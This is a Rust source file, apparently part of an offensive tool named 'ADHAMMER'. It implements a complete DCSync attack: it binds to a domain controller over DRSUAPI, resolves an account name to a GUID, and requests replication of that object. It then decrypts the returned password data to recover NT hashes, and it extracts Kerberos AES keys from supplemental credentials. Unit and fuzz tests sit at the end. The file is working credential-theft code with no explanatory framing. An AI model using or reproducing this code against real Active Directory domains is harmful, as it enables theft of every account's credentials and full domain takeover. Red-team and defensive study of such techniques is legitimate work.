use crate::ndr::{NdrDecoder, NdrEncoder};
use crate::transport::RpcTcp;
use crate::{epm, Result, RpcError, Syntax};
use windows_sddl::Guid;
pub fn drsuapi_syntax() -> Syntax {
Syntax::new("e3514235-4b06-11d1-ab04-00c04fc2dcd2", 4, 0)
}
const NTDSAPI_CLIENT_GUID: &str = "e24d201a-4fd6-11d1-a3da-0000f875ae0d";
pub mod opnum {
pub const DRS_BIND: u16 = 0;
pub const DRS_GET_NC_CHANGES: u16 = 3;
pub const DRS_CRACK_NAMES: u16 = 12;
}
const DS_NT4_ACCOUNT_NAME: u32 = 2;
const DS_UNIQUE_ID_NAME: u32 = 6;
const DRS_EXT_BASE: u32 = 0x0000_0001;
const DRS_EXT_STRONG_ENCRYPTION: u32 = 0x0000_8000;
const DRS_EXT_GETCHGREQ_V8: u32 = 0x0100_0000;
const DRS_EXT_GETCHGREPLY_V6: u32 = 0x0400_0000;
fn parse_guid_braced(s: &str) -> Result<[u8; 16]> {
let t = s.trim().trim_start_matches('{').trim_end_matches('}');
Guid::parse(t)
.map(|g| g.0)
.ok_or_else(|| RpcError::Protocol(format!("bad GUID '{s}'")))
}
fn drs_extensions_rgb() -> Vec<u8> {
let mut v = Vec::new();
let flags =
DRS_EXT_BASE | DRS_EXT_STRONG_ENCRYPTION | DRS_EXT_GETCHGREQ_V8 | DRS_EXT_GETCHGREPLY_V6;
v.extend_from_slice(&flags.to_le_bytes()); v.extend_from_slice(&[0u8; 16]); v.extend_from_slice(&0u32.to_le_bytes()); v.extend_from_slice(&0u32.to_le_bytes()); v.extend_from_slice(&0u32.to_le_bytes()); v.extend_from_slice(&[0u8; 16]); v.extend_from_slice(&0xffff_ffffu32.to_le_bytes()); v
}
pub struct DrsSession {
rpc: RpcTcp,
handle: [u8; 20],
session_key: [u8; 16],
}
impl DrsSession {
pub async fn bind(host: &str, domain: &str, user: &str, password: &str) -> Result<Self> {
let port = epm::resolve_port(host, drsuapi_syntax()).await?;
let mut rpc = RpcTcp::connect(&format!("{host}:{port}")).await?;
rpc.bind_sealed(drsuapi_syntax(), domain, user, password, "ADHAMMER")
.await?;
let mut e = NdrEncoder::new();
e.referent(); e.uuid(&Guid::parse(NTDSAPI_CLIENT_GUID).expect("client GUID").0);
e.referent(); let rgb = drs_extensions_rgb();
let cb = rgb.len() as u32;
e.u32(cb); e.u32(cb); e.bytes(&rgb);
while e.len() % 4 != 0 {
e.u8(0);
}
let resp = rpc.call_sealed(opnum::DRS_BIND, &e.into_bytes()).await?;
let mut d = NdrDecoder::new(&resp);
let _server_ext_ref = d.u32()?;
let _max = d.u32()?;
let server_cb = d.u32()? as usize;
let _server_rgb = d.read_bytes(server_cb)?;
while d.position() % 4 != 0 {
d.u8()?;
}
let handle: [u8; 20] = d.read_bytes(20)?.try_into().unwrap();
let retval = d.u32().unwrap_or(0);
if retval != 0 {
return Err(RpcError::Protocol(format!(
"DRSBind failed: 0x{retval:08x}"
)));
}
let session_key = rpc
.session_key()
.ok_or_else(|| RpcError::Protocol("no session key".into()))?;
Ok(DrsSession {
rpc,
handle,
session_key,
})
}
pub fn handle(&self) -> &[u8; 20] {
&self.handle
}
pub async fn crack_name_to_guid(
&mut self,
netbios_domain: &str,
name: &str,
) -> Result<[u8; 16]> {
let offered = format!("{netbios_domain}\\{name}");
let mut e = NdrEncoder::new();
e.bytes(&self.handle); e.u32(1); e.u32(1); e.u32(0); e.u32(0); e.u32(0); e.u32(DS_NT4_ACCOUNT_NAME); e.u32(DS_UNIQUE_ID_NAME); e.u32(1); e.referent(); e.u32(1); e.referent(); e.conformant_varying_wstr(&offered);
let resp = self
.rpc
.call_sealed(opnum::DRS_CRACK_NAMES, &e.into_bytes())
.await?;
let mut d = NdrDecoder::new(&resp);
let _out_version = d.u32()?;
let _union_switch = d.u32()?;
let _presult_ref = d.u32()?; let c_items = d.u32()?;
let _ritems_ref = d.u32()?; let _max = d.u32()?; if c_items == 0 {
return Err(RpcError::Protocol("CrackNames returned no items".into()));
}
let status = d.u32()?;
let dom_ref = d.u32()?;
let name_ref = d.u32()?;
if status != 0 {
return Err(RpcError::Protocol(format!(
"CrackNames status {status} (name not found?)"
)));
}
if dom_ref != 0 {
let _dom = d.conformant_varying_wstr()?;
}
if name_ref == 0 {
return Err(RpcError::Protocol(
"CrackNames: no cracked name returned".into(),
));
}
let cracked = d.conformant_varying_wstr()?; parse_guid_braced(&cracked)
}
pub async fn get_nc_changes(&mut self, guid: &[u8; 16]) -> Result<Vec<u8>> {
const EXOP_REPL_OBJ: u32 = 6;
let mut e = NdrEncoder::new();
e.bytes(&self.handle); e.u32(8); e.u32(8); e.align(8);
e.uuid(&[0u8; 16]); e.uuid(&[0u8; 16]); e.referent(); e.u64(0); e.u64(0); e.u64(0); e.null_ptr(); e.u32(0); e.u32(1); e.u32(0); e.u32(EXOP_REPL_OBJ); e.u64(0); e.null_ptr(); e.null_ptr(); e.u32(0); e.null_ptr();
e.u32(1); e.u32(58); e.u32(0); e.uuid(guid); e.bytes(&[0u8; 28]); e.u32(0); e.u16(0); while e.len() % 4 != 0 {
e.u8(0);
}
let resp = self
.rpc
.call_sealed(opnum::DRS_GET_NC_CHANGES, &e.into_bytes())
.await?;
Ok(resp)
}
pub async fn dcsync(
&mut self,
netbios_domain: &str,
name: &str,
) -> Result<(u32, [u8; 16], Vec<KerbKey>)> {
let guid = self.crack_name_to_guid(netbios_domain, name).await?;
let reply = self.get_nc_changes(&guid).await?;
if let Ok(path) = std::env::var("ADHAMMER_DUMP_REPLY") {
let _ = std::fs::write(&path, &reply);
eprintln!("[dbg] wrote {} bytes of DRS reply to {path}", reply.len());
}
let (rid, nt_enc, supp_enc) = parse_repl_object(&reply)?;
if nt_enc.is_empty() {
return Err(RpcError::Protocol(
"object has no unicodePwd (machine/empty?)".into(),
));
}
let nt = drs_decrypt_hash(&self.session_key, &nt_enc, rid)?;
let kerb = if supp_enc.is_empty() {
Vec::new()
} else {
let blob = drs_decrypt_blob(&self.session_key, &supp_enc).unwrap_or_default();
if std::env::var("ADHAMMER_DUMP_SUPP").is_ok() {
eprintln!(
"[supp] {}",
blob.iter().map(|b| format!("{b:02x}")).collect::<String>()
);
}
parse_kerberos_keys(&blob)
};
Ok((rid, nt, kerb))
}
}
const ATTR_UNICODE_PWD: u32 = 0x0009_005a;
const ATTR_SUPPLEMENTAL_CREDENTIALS: u32 = 0x0009_007d;
fn parse_repl_object(reply: &[u8]) -> Result<(u32, Vec<u8>, Vec<u8>)> {
let mut d = NdrDecoder::new(reply);
d.u32()?;
d.u32()?; d.read_bytes(16)?;
d.read_bytes(16)?; d.u32()?; d.align(8);
d.read_bytes(24)?;
d.read_bytes(24)?; d.u32()?; let pfx_count = d.u32()?;
d.u32()?; d.u32()?;
d.u32()?;
d.u32()?; d.u32()?; d.u32()?; d.u32()?;
d.u32()?;
d.u32()?;
d.u32()?;
d.u32()?;
skip_dsname(&mut d)?;
let ptmc = d.u32()?;
let mut oid_lens = Vec::with_capacity(ptmc as usize);
for _ in 0..ptmc {
d.u32()?; oid_lens.push(d.u32()?); d.u32()?; }
for l in oid_lens {
if l > 0 {
let m = d.u32()?;
d.read_bytes(m as usize)?;
d.align(4);
}
}
let _ = pfx_count;
d.u32()?; d.u32()?; d.u32()?; let attr_count = d.u32()?; d.u32()?; d.u32()?; d.u32()?; d.u32()?;
let rid = read_dsname_rid(&mut d)?;
let amc = d.u32()?;
let mut triples = Vec::with_capacity(amc as usize);
for _ in 0..amc {
let at = d.u32()?;
let vc = d.u32()?;
let pav = d.u32()?;
triples.push((at, vc, pav));
}
let _ = attr_count;
let (mut nt_enc, mut supp_enc) = (Vec::new(), Vec::new());
for (at, vc, pav) in triples {
if pav == 0 || vc == 0 {
continue;
}
let vmc = d.u32()?;
let mut vptrs = Vec::with_capacity(vmc as usize);
for _ in 0..vmc {
d.u32()?; vptrs.push(d.u32()?); }
let mut first = Vec::new();
for (i, pv) in vptrs.iter().enumerate() {
if *pv != 0 {
let m = d.u32()?;
let b = d.read_bytes(m as usize)?.to_vec();
d.align(4);
if i == 0 {
first = b;
}
}
}
match at {
ATTR_UNICODE_PWD => nt_enc = first,
ATTR_SUPPLEMENTAL_CREDENTIALS => supp_enc = first,
_ => {}
}
}
Ok((rid, nt_enc, supp_enc))
}
fn skip_dsname(d: &mut NdrDecoder) -> Result<()> {
let mc = d.u32()?; d.u32()?; d.u32()?; d.read_bytes(16)?; d.read_bytes(28)?; d.u32()?; d.read_bytes(mc as usize * 2)?; d.align(4);
Ok(())
}
fn read_dsname_rid(d: &mut NdrDecoder) -> Result<u32> {
let mc = d.u32()?;
d.u32()?; let sid_len = d.u32()?;
d.read_bytes(16)?; let sid = d.read_bytes(28)?.to_vec();
d.u32()?; d.read_bytes(mc as usize * 2)?;
d.align(4);
if sid_len >= 8 {
let count = sid[1] as usize;
let off = 2 + 6 + (count - 1) * 4;
return Ok(u32::from_le_bytes(sid[off..off + 4].try_into().unwrap()));
}
Err(RpcError::Protocol("object DSNAME has no SID".into()))
}
fn drs_decrypt_hash(session_key: &[u8; 16], enc: &[u8], rid: u32) -> Result<[u8; 16]> {
use md5::{Digest, Md5};
if enc.len() < 20 {
return Err(RpcError::Protocol("encrypted value too short".into()));
}
let salt = &enc[0..16];
let mut md5 = Md5::new();
md5.update(session_key);
md5.update(salt);
let rc4key = md5.finalize();
let plain = ntlmssp::Rc4::new(&rc4key).apply(&enc[16..]); if plain.len() < 20 {
return Err(RpcError::Protocol("decrypted value too short".into()));
}
Ok(remove_des_layer(&plain[4..20], rid))
}
fn drs_decrypt_blob(session_key: &[u8; 16], enc: &[u8]) -> Result<Vec<u8>> {
use md5::{Digest, Md5};
if enc.len() < 20 {
return Err(RpcError::Protocol("encrypted blob too short".into()));
}
let salt = &enc[0..16];
let mut md5 = Md5::new();
md5.update(session_key);
md5.update(salt);
let rc4key = md5.finalize();
let plain = ntlmssp::Rc4::new(&rc4key).apply(&enc[16..]);
Ok(plain.get(4..).map(|s| s.to_vec()).unwrap_or_default()) }
pub struct KerbKey {
pub keytype: u32, pub key: Vec<u8>,
}
impl KerbKey {
pub fn etype_name(&self) -> &'static str {
match self.keytype {
20 => "aes256-cts-hmac-sha384-192", 19 => "aes128-cts-hmac-sha256-128", 18 => "aes256-cts-hmac-sha1-96",
17 => "aes128-cts-hmac-sha1-96",
23 => "rc4-hmac",
3 | 1 => "des-cbc-md5",
_ => "unknown",
}
}
}
pub fn parse_kerberos_keys(user_properties: &[u8]) -> Vec<KerbKey> {
let up = user_properties;
if up.len() < 112 || u16::from_le_bytes([up[108], up[109]]) != 0x50 {
return Vec::new();
}
let prop_count = u16::from_le_bytes([up[110], up[111]]) as usize;
let mut i = 112;
for _ in 0..prop_count {
if i + 6 > up.len() {
break;
}
let name_len = u16::from_le_bytes([up[i], up[i + 1]]) as usize;
let val_len = u16::from_le_bytes([up[i + 2], up[i + 3]]) as usize;
i += 6; let Some(name_b) = up.get(i..i + name_len) else {
break;
};
let name: String = name_b
.chunks_exact(2)
.map(|c| u16::from_le_bytes([c[0], c[1]]) as u8 as char)
.collect();
i += name_len;
let Some(val_hex) = up.get(i..i + val_len) else {
break;
};
i += val_len;
if name == "Primary:Kerberos-Newer-Keys" {
if let Ok(blob) = hex::decode(val_hex) {
return parse_kerb_newer_keys(&blob);
}
}
}
Vec::new()
}
fn parse_kerb_newer_keys(b: &[u8]) -> Vec<KerbKey> {
let u16 = |o: usize| u16::from_le_bytes([b[o], b[o + 1]]);
let u32 = |o: usize| u32::from_le_bytes([b[o], b[o + 1], b[o + 2], b[o + 3]]);
if b.len() < 24 {
return Vec::new();
}
let cred_count = u16(4) as usize; let mut out = Vec::new();
for n in 0..cred_count {
let base = 24 + n * 24;
if base + 24 > b.len() {
break;
}
let keytype = u32(base + 12);
let key_len = u32(base + 16) as usize;
let key_off = u32(base + 20) as usize;
if let Some(k) = b.get(key_off..key_off + key_len) {
out.push(KerbKey {
keytype,
key: k.to_vec(),
});
}
}
out
}
fn remove_des_layer(data: &[u8], rid: u32) -> [u8; 16] {
use des::cipher::generic_array::GenericArray;
use des::cipher::{BlockDecrypt, KeyInit};
use des::Des;
let (k1, k2) = rid_to_des_keys(rid);
let mut out = [0u8; 16];
let c1 = Des::new(GenericArray::from_slice(&k1));
let mut b0 = *GenericArray::from_slice(&data[0..8]);
c1.decrypt_block(&mut b0);
let c2 = Des::new(GenericArray::from_slice(&k2));
let mut b1 = *GenericArray::from_slice(&data[8..16]);
c2.decrypt_block(&mut b1);
out[0..8].copy_from_slice(&b0);
out[8..16].copy_from_slice(&b1);
out
}
fn rid_to_des_keys(rid: u32) -> ([u8; 8], [u8; 8]) {
let r = rid.to_le_bytes();
let k1 = [r[0], r[1], r[2], r[3], r[0], r[1], r[2]];
let k2 = [r[3], r[0], r[1], r[2], r[3], r[0], r[1]];
(str_to_des_key(&k1), str_to_des_key(&k2))
}
fn str_to_des_key(s: &[u8; 7]) -> [u8; 8] {
let mut k = [0u8; 8];
k[0] = s[0] >> 1;
k[1] = ((s[0] & 0x01) << 6) | (s[1] >> 2);
k[2] = ((s[1] & 0x03) << 5) | (s[2] >> 3);
k[3] = ((s[2] & 0x07) << 4) | (s[3] >> 4);
k[4] = ((s[3] & 0x0f) << 3) | (s[4] >> 5);
k[5] = ((s[4] & 0x1f) << 2) | (s[5] >> 6);
k[6] = ((s[5] & 0x3f) << 1) | (s[6] >> 7);
k[7] = s[6] & 0x7f;
for b in k.iter_mut() {
*b <<= 1;
}
k
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn extensions_rgb_shape() {
let rgb = drs_extensions_rgb();
assert_eq!(rgb.len(), 52); let flags = u32::from_le_bytes(rgb[0..4].try_into().unwrap());
assert_eq!(flags & DRS_EXT_GETCHGREPLY_V6, DRS_EXT_GETCHGREPLY_V6);
assert_eq!(flags & DRS_EXT_STRONG_ENCRYPTION, DRS_EXT_STRONG_ENCRYPTION);
}
#[test]
fn syntax_uuid_parses() {
let s = drsuapi_syntax();
assert_eq!(s.ver_major, 4);
assert_ne!(s.uuid, [0u8; 16]);
}
#[test]
fn fuzz_parse_repl_object_never_panics() {
let mut s: u64 = 0xD25A_0FED_1234_ABCD;
let mut rng = || {
s ^= s >> 12;
s ^= s << 25;
s ^= s >> 27;
s.wrapping_mul(0x2545_F491_4F6C_DD1D)
};
let prev = std::panic::take_hook();
std::panic::set_hook(Box::new(|_| {}));
let mut fail = None;
for _ in 0..200_000 {
let n = rng() as usize % 512;
let mut buf: Vec<u8> = (0..n).map(|_| rng() as u8).collect();
for _ in 0..(rng() as usize % 8) {
if !buf.is_empty() {
let i = rng() as usize % buf.len();
buf[i] = (rng() % 4) as u8;
}
}
let b = buf.clone();
if std::panic::catch_unwind(|| {
let _ = parse_repl_object(&b);
})
.is_err()
{
fail = Some(buf);
break;
}
}
std::panic::set_hook(prev);
if let Some(buf) = fail {
panic!(
"parse_repl_object panicked on {} bytes: {}",
buf.len(),
buf.iter().map(|x| format!("{x:02x}")).collect::<String>()
);
}
}
#[test]
fn parse_kerberos_keys_synthetic() {
let aes256 = vec![0xAAu8; 32];
let aes128 = vec![0xBBu8; 16];
let mut cred = Vec::new();
cred.extend_from_slice(&4u16.to_le_bytes()); cred.extend_from_slice(&0u16.to_le_bytes()); cred.extend_from_slice(&2u16.to_le_bytes()); cred.extend_from_slice(&0u16.to_le_bytes()); cred.extend_from_slice(&0u16.to_le_bytes()); cred.extend_from_slice(&0u16.to_le_bytes()); cred.extend_from_slice(&0u16.to_le_bytes()); cred.extend_from_slice(&0u16.to_le_bytes()); cred.extend_from_slice(&0u32.to_le_bytes()); cred.extend_from_slice(&4096u32.to_le_bytes()); assert_eq!(cred.len(), 24);
let key0_off = 24 + 24 * 2; let key1_off = key0_off + aes256.len();
cred.extend_from_slice(&0u16.to_le_bytes()); cred.extend_from_slice(&0u16.to_le_bytes()); cred.extend_from_slice(&0u32.to_le_bytes()); cred.extend_from_slice(&4096u32.to_le_bytes()); cred.extend_from_slice(&18u32.to_le_bytes()); cred.extend_from_slice(&(aes256.len() as u32).to_le_bytes());
cred.extend_from_slice(&(key0_off as u32).to_le_bytes());
cred.extend_from_slice(&0u16.to_le_bytes());
cred.extend_from_slice(&0u16.to_le_bytes());
cred.extend_from_slice(&0u32.to_le_bytes());
cred.extend_from_slice(&4096u32.to_le_bytes());
cred.extend_from_slice(&17u32.to_le_bytes()); cred.extend_from_slice(&(aes128.len() as u32).to_le_bytes());
cred.extend_from_slice(&(key1_off as u32).to_le_bytes());
cred.extend_from_slice(&aes256);
cred.extend_from_slice(&aes128);
let val_hex = hex::encode(&cred);
let name: Vec<u16> = "Primary:Kerberos-Newer-Keys".encode_utf16().collect();
let mut name_b = Vec::new();
for c in &name {
name_b.extend_from_slice(&c.to_le_bytes());
}
let mut up = vec![0u8; 108];
up.extend_from_slice(&0x50u16.to_le_bytes()); up.extend_from_slice(&1u16.to_le_bytes()); up.extend_from_slice(&(name_b.len() as u16).to_le_bytes());
up.extend_from_slice(&(val_hex.len() as u16).to_le_bytes());
up.extend_from_slice(&0u16.to_le_bytes()); up.extend_from_slice(&name_b);
up.extend_from_slice(val_hex.as_bytes());
up.push(0);
let keys = parse_kerberos_keys(&up);
assert_eq!(keys.len(), 2);
assert_eq!(keys[0].keytype, 18);
assert_eq!(keys[0].key, aes256);
assert_eq!(keys[0].etype_name(), "aes256-cts-hmac-sha1-96");
assert_eq!(keys[1].keytype, 17);
assert_eq!(keys[1].key, aes128);
}
#[test]
fn parse_kerberos_keys_rejects_garbage() {
assert!(parse_kerberos_keys(&[]).is_empty());
assert!(parse_kerberos_keys(&[0u8; 200]).is_empty()); }
}